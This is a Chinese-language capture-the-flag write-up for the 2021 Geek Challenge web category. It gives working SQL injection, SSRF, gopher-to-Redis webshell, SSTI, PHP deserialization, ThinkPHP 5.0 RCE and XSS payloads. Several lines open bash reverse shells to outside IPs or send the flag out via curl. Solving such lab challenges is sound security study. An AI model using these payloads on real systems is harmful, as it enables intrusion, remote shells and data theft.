[极客大挑战2021]web wp
极客大挑战2021
Welcome2021
F12，提示请使用WELCOME请求方法来请求此网页
burp抓包，修改请求方法，发现f1111aaaggg9.php
再次请求得到flag
Dark
Tor浏览器访问即可
babysql
查库：babysql
uname=-1' union select database(),2,3,4#&pwd=1
查表：jeff,jeffjokes
uname=-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()%23&pwd=1
查列：
jeff
uname,pwd,zzzz,uselesss
uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeff"%23&pwd=1
jeffjokes
id,english,chinese,misc,useless
uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeffjokes"%23&pwd=1
查数据：
没有查出flag
uname=-1' union select group_concat(chinese),2,3,4 from jeffjokes#&pwd=1
有一句话，猜测是提示：
编译器从来不给Jeff编译警告，而是Jeff警告编译器,所有指针都是指向Jeff的,gcc的-O4优化选项是将你的代码邮件给Jeff重写一下,当Jeff触发程序的程序性能采样时，循环会因害怕而自动展开。,Jeff依然孤独地等待着数学家们解开他在PI的数字中隐藏的笑话
这是谷歌大神jeff bean的事迹
ps：sb了，找错库了
python2 sqlmap.py -r 1.txt -D flag -T fllag -C "fllllllag" --dump
babyphp
robots.txt，得到
noobcurl.php
进入
<?php
function ssrf_me($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}
if(isset($_GET['url'])){
ssrf_me($_GET['url']);
}
else{
highlight_file(__FILE__);
echo "";
}
考察ssrf
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 屏蔽回显
先试试file协议
file:///etc/passwd
有回显
提示flag在根目录
file:///flag
where_is_my_FUMO
<?php
function chijou_kega_no_junnka($str) {
$black_list = [">", ";", "|", "{", "}", "/", " "];
return str_replace($black_list, "", $str);
}
if (isset($_GET['DATA'])) {
$data = $_GET['DATA'];
$addr = chijou_kega_no_junnka($data['ADDR']);
$port = chijou_kega_no_junnka($data['PORT']);
exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
highlight_file(__FILE__);
}
反弹shell题目
bash -c "bash -i < /dev/tcp/addr/port"
写一个脚本反弹
import requests
url='http://1.14.102.22:8115/'
params={
'DATA[ADDR]':'ip',
'DATA[PORT]':'39543'
}
headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
}
a=requests.get(url=url,params=params,headers=headers)
print(a.text)
发现能成功反弹，但是无法执行命令，应该是由于执行的是输入重定向导致攻击机无法回显
那么如果我们利用这个输入的shell在靶机上再执行一次反弹shell并监听呢？
嘿嘿，先反弹shell之后，再在攻击机上输入
bash -i >& /dev/tcp/ip/39542 0>&1
换一个端口监听，成功拿到shell
提示说flag在根目录的图片中
逐行读取
cat flag.png > /tmp/zz.txt|base64
cat zz.txt | tr "\n" "}"> 11.txt
babyPOP
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}
class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
前置：
__toString:类被当成字符串时的回应方法
__invoke()：调用函数的方式调用一个对象时的回应方法
__wakeup:执行unserialize()时，先会调用这个函数
__destruct：类的析构函数
代码审计：
最终我们通过b类中的exec函数执行命令
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}
class b {
public $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
// return exec($this->i_want_2_listen_2_MaoZhongDu);
return "123";
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public $aaa;
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
$this->afkl(); //这个地方要将前面的括号去掉，否则在windows下跑不出来
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
$c = new c;
$e = new e;
$d = new d;
$b = new b;
$b->i_want_2_listen_2_MaoZhongDu="bash -c \"bash -i >& /dev/tcp/1.117.171.248/39543 0>&1\""; //服务器开启监听
//这个也可以 curl http://xxx?c=$(cat /flag)
$d->value = $b;
$e->afkl = $d;
$c->aaa = $e;
echo base64_encode(serialize($c));
在反弹shell时虽然能正常交互，但服务器会报
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
可能原因
That error message likely means shell is probably calling tcsetpgrp() and getting back errno=ENOTTY. That can happen if the shell process does not have a controlling terminal. The kernel doesn't set that up before running init on /dev/console.
The solution: use a real terminal device like /dev/tty0.
givemeyourlove
// I hear her lucky number is 123123
highlight_file(__FILE__);
$ch = curl_init();
$url=$_GET['url'];
if(preg_match("/^https|dict|file:/is",$url))
{
echo 'NO NO HACKING!!';
die();
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
提示打有认证redis
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen
url = "http://1.14.71.112:44423/?url="
gopher = "gopher://127.0.0.1:6379/_"
def get_password():
f = open("message.txt", "r")
return f.readlines()
def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder
###------暴破密码，无密码可删除-------###
for password in get_password():
# 攻击脚本
path = "/var/www/html"
shell = "\\n\\n\\n\\n\\n\\n"
filename = "shell.php"
cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
print(payload)
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
#####---------------如无密码，直接从此开始执行---------------#####
cmd = """
auth %s
config set dir %s
config set dbfilename %s
set test1 "%s"
save
quit
""" % (password, path, filename, shell)
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
request = Request(payload)
print(payload)
response = urlopen(request).read().decode()
print("response is:" + response)
if response.count("+OK") > 5:
print("Write success！")
exit()
else:
print("Write failed. Please check and try again")
exit()
#####---------------如无密码，到此处结束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")
跑个脚本，进入shell.php
尝试POST数据cmd=phpinfo()
有回显，说明写入成功，蚁剑连接，flag在根目录
使用反弹shell的方法不知道为什么没有连接上，之后再看看吧！（似乎只能centos）
参考文章：
https://www.freebuf.com/articles/web/263556.html
https://blog.csdn.net/qq_43665434/article/details/115414738
https://xz.aliyun.com/t/5665#toc-4
https://ca01h.top/Web_security/basic_learning/17.SSRF%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/#%E6%BC%8F%E6%B4%9E%E4%BA%A7%E7%94%9F
babyPy
一道简单的ssti
先跑出os._wrap_close，显示133
import json
a = """
,...,
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)
所以构造payoad
{
{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read()}}
Baby_PHP_Black_Magic_Enlightenment
<?php
echo "PHP is the best Language
";
echo "Have you ever heard about PHP Black Magic
";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo file_get_contents('./2.php');
echo "How's that possible";
}
highlight_file(__FILE__);
//Art is long, but life is short.
?>
第一步：弱比较
?password=10000a
提示baby_magic.php
<?php
error_reporting(0);
$flag=getenv('flag');
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.
';
}
else
echo 'Login first!
';
highlight_file(__FILE__);
?>
第二步：数组绕过
?name[]=1&password[]=2
提示baby_revenge.php
error_reporting(0);
$flag=getenv('fllag');
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!
';
else if(is_array($_GET['name']) || is_array($_GET['password']))
die('There is no way you can sneak me, young man!');
else if (sha1($_GET['name']) === sha1($_GET['password'])){
echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon
";
die('Genji:We will see again Hanzo'.$flag.'
');
}
else
echo 'Invalid password.
';
}else
echo 'Login first!
';
highlight_file(__FILE__);
?>
第三步：由于sha1是强比较，利用sha1碰撞，传入两个SHA1值相同而不一样的pdf文件
?name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
提示：here_s_the_flag.php
<?php
$flag=getenv('flllllllllag');
if(strstr("hackerDJ",$_GET['id'])) {
echo("not allowed!
");
exit();
}
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "hackerDJ")
{
echo "Access granted!
";
echo "flag: $flag
";
}
highlight_file(__FILE__);
?>
strstr() 函数搜索字符串在另一字符串中的第一次出现。
也就是说不能出现hackerDJ否则退出循环。在这之后又是强比较判断。
方法：url二次编码绕过
?id=hackerD%254A
over！
蜜雪冰城甜蜜蜜
查看源码
/*
* 生成签名
* @params 待签名的json数据
* @secret 密钥字符串
*/
function makeSign(params, secret){
var ksort = Object.keys(params).sort();
var str = '';
for(var ki in ksort){
str += ksort[ki] + '=' + params[ksort[ki]] + '&';
}
str += 'secret=' + secret;
var token = hex_md5(str).toUpperCase();
return rsa_sign(token);
}
/*
* rsa加密token
*/
function rsa_sign(token){
var pubkey='-----BEGIN PUBLIC KEY-----';
pubkey+='MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL';
pubkey+='nRg3e2QdDf/m/qMvtqXi4xhwvbpHfaX46CzQznU8l9NJtF28pTSZSKnE/791MJfV';
pubkey+='nucVcJcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sxjMn';
pubkey+='lVjDaIczKTRx+7vn2wIDAQAB';
pubkey+='-----END PUBLIC KEY-----';
// 利用公钥加密
var encrypt = new JSEncrypt();
encrypt.setPublicKey(pubkey);
return encrypt.encrypt(token);
}
/*
* 获取时间戳
*/
function get_time(){
var d = new Date();
var time = d.getTime()/1000;
return parseInt(time);
}
//secret密钥
var secret = 'e10adc3949ba59abbe56e057f20f883e';
$("[href='#']").click(function(){
var params = {
};
console.log(123);
params.id = $(this).attr("id");
params.timestamp = get_time();
params.fake_flag= 'SYC{lingze_find_a_girlfriend}';
params.sign = makeSign(params, secret);
$.ajax({
url : "http://106.55.154.252:8083/sign.php",
data : params,
type:'post',
success:function(msg){
$('#text').html(msg);
alert(msg);
},
async:false
});
})
发现需要验证，其中将id也加密了，所以尝试前端js修改id为9，再点击，得到flag
雷克雅未克
修改两个地方，得到一串jsfuck，丢到控制台输出即可
babyxss
<script>
function check(input){
input = input.replace(/alert/,'');return '';}
</script>
给出了代码，发现过滤了alert且input内容用引号包裹。
payload：
");\u0061lert(1);("
闭合前后引号，字符过滤这里我们使用了unicode编码。
人民艺术家
登录错误后跳转/fail.php，提示正确的账号密码
发现有一串JWT，且提示需要2019年的管理员
猜测需要修改time为2019，name为admin
使用jwtcrack爆破一下密钥
新增header为JWT
得到flag
成全
Thinkphp5
我们使用s参数加载模块试一试
http://106.55.154.252:500/public/?s=1
发现开启了debug模式，版本为5.0.12
?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
找个poc测试一下phpinfo，看到disable functions，把命令执行函数都过滤了
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link,ini_set,chdir
利用回调函数进行文件读取
??s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=/flag
官方wp方法：
可以通过log日志来包含getshell
首先我们要知道tp的默认日志形式/202110/11.log 文件夹以年份加月数其中的日志为每日的形式
那么我们就可以爆破日志了
当我们爆破到15日时会发现写好的shell
可以通过shell读flag了
SoEzUnser
<?php
class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;
public function __construct($par0,$par1,$par2,$par3){
$this -> par0 = $par0;
$this -> par1 = $par1;
$this -> par2 = $par2;
$this -> par3 = $par3;
}
public function newOne(){
$this -> kelasi = new $this -> par0($this -> par1,$this -> par2);
}
public function wuhu(){
echo('syclover !'.$this -> kelasi.' yyds');
}
public function qifei(){
//$ser = serialize($this -> kelasi);
//$unser = unserialize($ser);
$this -> kelasi -> juts_a_function();
}
public function __destruct(){
if(!empty($this -> par0) && (isset($this -> par1) || isset($this -> par2))){
$this -> newOne();
if($this -> par3 == 'unser'){
$this -> qifei();
}
else{
$this -> wuhu();
}
}
}
public function __wakeup(){
@include_once($this -> par2.'hint.php');
}
}
highlight_file(__FILE__);
$hack = $_GET['hack'];
unserialize($hack);
第一步：php伪协议读取hint
php://filter/read=convert.base64-encode/resource=
得到
$hint = '向管理员的页面post一个参数message(告诉他，"iwantflag") 和 另一个参数 url（它会向这个url发送一个flag';
$hint .= '管理员的页面在当前目录下一个特殊文件夹里';
$hint .= '但是我不知道（你也猜不到的）文件夹名称和管理员页面的名称，更坏的消息是只能从127.0.0.1去访问，你能想个办法去看看（别扫 扫不出来!!!)';
使用php原生类打ssrf 以及 遍历目录
首先获取管理员页面，使用FilesystemIterator类
class fxxk{
public $par0 = "FilesystemIterator";
public $par1 = "/www/wwwroot/ctf.rigelx.top/unserbucket/aaaaaaaaaaafxadwagaefae/";
public $par2 = null;
public $par3 = 'unsera';
public $kelasi;
}
echo serialize(new fxxk);
?>
得到管理员页面地址之后就可以打ssrf了，使用 SoapClient 类进行 SSRF，但是这里要打一个POST请求，所以还需要利用这里HTTP头部存在的一个CRLF漏洞，插入任意的HTTP头，Content-Type 的值要设置为 application/x-www-form-urlencoded，还需要修改包中原有的Content-Type 的值，由于 Content-Type 在 User-Agent 的下面，所以我们可以通过 SoapClient 来设置 User-Agent ，将原来的 Content-Type 挤下去，从而再插入一个新的 Content-Type 。脚本里的Content-Type按照实际的字符数改一下
class fxxk{
public $par0 = "SoapClient";
public $par1 = null;
public $par2 = array('uri'=>'http://127.0.0.1','location' => 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php','user_agent'=>'qqq^^Content-Type: application/x-www-form-urlencoded^^Content-Length: 50^^^^message=iwantflag&url=http://ip:7777/11');
public $par3 = 'unser';
public $kelasi;
}
$b = serialize(new fxxk);
$b = str_replace('^^',"\r\n",$b);
echo urlencode($b);
?>
这里换行符是\r\n千万别搞错 不然最终数据包每个http头前就会多个\r出来 导致bad request
easyPOP
<?php
class a {
public function __destruct()
{
$this->test->test();
}
}
abstract class b {
private $b = 1;
abstract protected function eval();
public function test() {
($this->b)();
}
}
class c extends b {
private $call;
protected $value;
protected function eval() {
if (is_array($this->value)) {
($this->call)($this->value);
} else {
die("you can't do this :(");
}
}
}
class d {
public $value;
public function eval($call) {
$call($this->value);
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
构造过程中的tricks
-
对象的复用
-
父类的私有属性序列化
-
千奇百怪的动态函数/方法调用
POC：
<?php
class a
{
public $test;
}
abstract class b
{
private $b;
public function __construct()
{
$this->b = [$this, 'eval'];
}
}
class c extends b
{
private $call;
protected $value;
public function __construct()
{
parent::__construct();
$this->call = [new d('system'), 'eval'];
$this->value = [new d('cat /flag'), 'eval'];
}
}
class d
{
public $value;
public function __construct($command)
{
$this->value = $command;
}
public function eval($call)
{
$call($this->value);
}
}
$a = new a();
$a->test = new c();
echo serialize($a);
print("\r\n\r\n");
echo base64_encode(serialize($a));
easyPy
import re
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
def isLegalParam(param):
return (re.search(r'\'|\"|_|{
{.*}}|{%.*%}|\[|\]', param, re.M|re.S) is None)
@app.route('/')
def main():
return render_template("index.html")
@app.route('/calc')
def calc():
formula = request.args.get("calc")
answer = request.args.get("answer")
if isLegalParam(formula) and isLegalParam(answer):
answerHtml = formula + "=" + answer
else:
answerHtml = "Data illegality."
return render_template_string(answerHtml)
@app.route("/hint")
def hint():
with open(__file__, "rb") as f:
file = f.read()
return file
if __name__ == '__main__':
app.run(host="0.0.0.0")
过滤了一堆
'' "" _ {
{}} {% %} []
前端逻辑
function getAnswer() {
let src = "";
let formula = document.getElementById("formula").value;
try {
let answer = eval(formula);
if (Number.isInteger(answer)) {
src = "/calc?calc=" + encodeURIComponent(formula) + "&answer=" + encodeURIComponent(answer);
} else {
src = "/calc?calc=" + encodeURIComponent(formula) + "&answer=error";
}
} catch {
src = "/calc?calc=" + encodeURIComponent(formula) + "&answer=error";
}
document.getElementById("calc").src = src
}
利用attr弹出属性并使用request.args来规避字符串。
http://easypy/calc?calc= {
{(1=&answer=1)|attr(request.args.class)|attr(request.args.mro)|attr(request.arg s.getitem)(2)|attr(request.args.subclasses)()|attr(request.args.getitem) (133)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getit em)(request.args.popen)(request.args.data)|attr(request.args.read) ()}}&class=__class__&mro=__mro__&getitem=__getitem__&subclasses=__subclasses__&i nit=__init__&globals=__globals__&popen=popen&data=cat+/flag&read=read
期末不挂科就算成功
F12，注释中提示debug.php
进入提示伪协议，尝试伪协议读取源码
/debug.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的！！！
?>
明显是SSRF，扫一下内网主机
利用gopher打
import urllib.parse
test =\
"""POST /index.php HTTP/1.1
Host:172.17.0.7:80
Content-type: application/x-www-form-urlencoded
Content-length: 36
name=admin&password=123456&result=60
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
需要二次编码
?url=gopher://172.17.0.7:80/_%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41
或者
gopher://172.17.0.7:80/_POST%2520/index.php%2520HTTP/1.1%250d%250AHost:172.17.0. 7%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent- Length:36%250d%250A%250d%250Aname=admin%26password=123456%26result=60%250d%250A
anothersql
fuzz一下，和报错注入相关的基本被过滤了，但还有floor报错注入，也可以考虑盲注
import requests
url = "http://47.100.242.70:4003/check.php"
flag = ""
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
for i in range(1,40):
for j in range(33,126):
str1 = flag+chr(j)
#payload = "uname=a'+or+(select+left(database(),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #true____flag
#payload = "uname=a'+or+(select+left((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='true____flag'),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #syclover
#payload = "uname=a'+or+(select+left((select+group_concat(column_name)+from+information_schema.columns+where+table_name='syclover'),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #flag
payload = "uname=a'+or+(select+left((select+group_concat(flag)+from+true____flag.syclover),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #syc{u_4n0vv_3rr0r_inj3c410n}
#print(payload)
r = requests.post(url, data = payload, headers=headers)
#print(r.text)
if "your uname:admin" in r.text:
flag += chr(j)
print(flag.lower())
break
赛后解出
easysql
noobPHP
easyGO
breakout
validation
参考：
官方wp
https://blog.csdn.net/weixin_43610673/article/details/121426951?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163793652716780274159451%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163793652716780274159451&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-5-121426951.first_rank_v2_pc_rank_v29&utm_term=%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%982021web&spm=1018.2226.3001.4187